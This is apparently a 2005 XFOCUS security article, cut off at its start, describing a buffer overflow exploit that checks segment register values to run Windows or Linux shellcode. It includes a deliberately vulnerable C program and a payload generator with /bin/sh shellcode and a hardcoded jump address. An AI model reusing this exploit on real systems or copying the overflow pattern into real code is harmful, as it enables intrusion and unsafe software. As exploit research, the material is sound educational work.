📄 one exploit play more os.html
字号:
nop<br />
nop<br />
nop<br />
……<br />
<br />
但是不管怎样,在ShellCode 前加一段识别操作系统的代码是更可靠的做法。<br />
<br />
至少在Windows NT和Linux家族的各个版本中,段寄存器的值总是固定的:<br />
<br />
+---------+--------+--------+--------+--------+--------+--------+<br />
| | CS | SS | DS | ES | FS | GS |<br />
+---------+--------+--------+--------+--------+--------+--------+<br />
| Windows | 0x1b | 0x23 | 0x23 | 0x23 | 0x38 | 0x00 |<br />
+---------+--------+--------+--------+--------+--------+--------+<br />
| Linux | 0x73 | 0x7b | 0x7b | 0x7b | 0x00 | 0x33 |<br />
+---------+--------+--------+--------+--------+--------+--------+<br />
<br />
所以,我们可以用这个特性来判断操作系统:<br />
<br />
mov ax,ss //取出ss的值<br />
cmp al,0x23 //看看是否符合Windows的特征<br />
je WinShellCode //如果符合就跳到WindowsShellCode去执行<br />
LinuxShellCode:<br />
…………<br />
WindowsShellCode:<br />
…………<br />
<br />
为了验证这个想法,我写了vul.c和exp.c。测试环境是Windows 2000 SP4中文版<br />
和Linux Kernel 2.6.9。编译器是VC 6 SP6和gcc 3.4.3。<br />
<br />
vul.c是一个有问题的代码,从exp.bin中读取数据,拷贝到0x20大小的缓冲区里。<br />
exp.c产生攻击代码,输出到标准输出。<br />
<br />
我不懂Linux,exp.c中使用的LinuxShellCode是从WaterCloud的《溢出利用程序<br />
和编程语言大杂烩》中拷贝来的,功能是执行/bin/sh。<br />
<br />
WindowsShellCode 只是简单地调用了一下NtLockWorkStation,也就是实现锁屏。<br />
0x11b9是Windows 2000的NtLockWorkStation调用号,在Windows XP上应该用0x11c9。<br />
如果你愿意,完全可以替换成其它任何ShellCode。<br />
<br />
在任意平台上编译exp.c,然后运行,并将输出定向到exp.bin。然后分别用VC和<br />
gcc 在Windows 2000和Linux上编译vul.c。将exp.bin拷贝到vul.c编译输出的程序所<br />
在目录下,然后执行vul.c 编译出的程序。在Windows上,会导致锁屏;在linux上,<br />
会执行/bin/sh。<br />
<br />
上面说的都是x86架构的情况,如果目标是PowerPC架构的Mac OS X,情况会更复<br />
杂一点,不过也不是不可能。Phrack 57中的《Architecture Spanning Shellcode》<br />
站在纯ShellCode的角度讨论了构造“Magic String”,是一篇很好的文章。<br />
<br />
感谢newchess帮我确认Linux各版本段寄存器的值都是固定的这一信息;感谢san<br />
和stardust教我用gdb;感谢WaterCloud的ShellCode。<br />
<br />
<br />
[例子代码]<br />
<br />
//------------------------------------------------------------------------<br />
//vul.c<br />
#include <stdlib.h><br />
#include <stdio.h><br />
#ifdef _WIN32<br />
#include <Windows.h><br />
#endif<br />
<br />
void VulFunc( void )<br />
{<br />
char SmallBuff[0x20];<br />
<br />
//fread( SmallBuff, sizeof(char), 0x1000, stdin );<br />
fread( SmallBuff, sizeof(char), 0x1000, fopen("exp.bin", "r") );<br />
}<br />
<br />
int main(void)<br />
{<br />
#ifdef _WIN32<br />
LoadLibrary("user32.dll"); //load for NtLockWorkStation<br />
#endif<br />
<br />
VulFunc();<br />
<br />
printf("no buffer overflow !\n");<br />
<br />
return 0;<br />
}<br />
<br />
//------------------------------------------------------------------------<br />
//exp.c<br />
#include <stdlib.h><br />
#include <stdio.h><br />
<br />
char Payload[] = <br />
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"<br />
"\xE3\x1B\xF8\x77" //0x77f81be3,Windows 2000上jmp esp地址<br />
"\xEB\x20" //往后跳0x20<br />
"HH"<br />
"\xC0\xF7\xFF\xBF" //硬编码的Linux栈地址<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH" //0x48 dec eax,我喜欢用这个当NOP<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"<br />
"HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"<br />
"\x66\x8C\xD0" //mov ax,ss<br />
"\x3C\x23" //cmp al,0x23<br />
"\x74\x23" //je WindowsShellCode<br />
//LinuxShellCode:<br />
"1\xC0PPP[YZ4\xD0\xCD\x80"<br />
"j\x0BX\x99Rhn/shh//biT[RSTY\xCD\x80"<br />
//WindowsShellCode:<br />
"\x31\xC0" //xor eax,eax<br />
"\x66\xB8\xB9\x11" //mov ax,0x11b9<br />
"\xCD\x2E" //int 0x2e<br />
;<br />
<br />
int main( void )<br />
{<br />
fwrite( Payload, sizeof(char), sizeof(Payload)-1,stdout);<br />
<br />
return 0;<br />
}
</td>
</tr>
</table><div class="footer"> Copyright © 1998-2005 XFOCUS Team. All Rights Reserved</div></body></html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -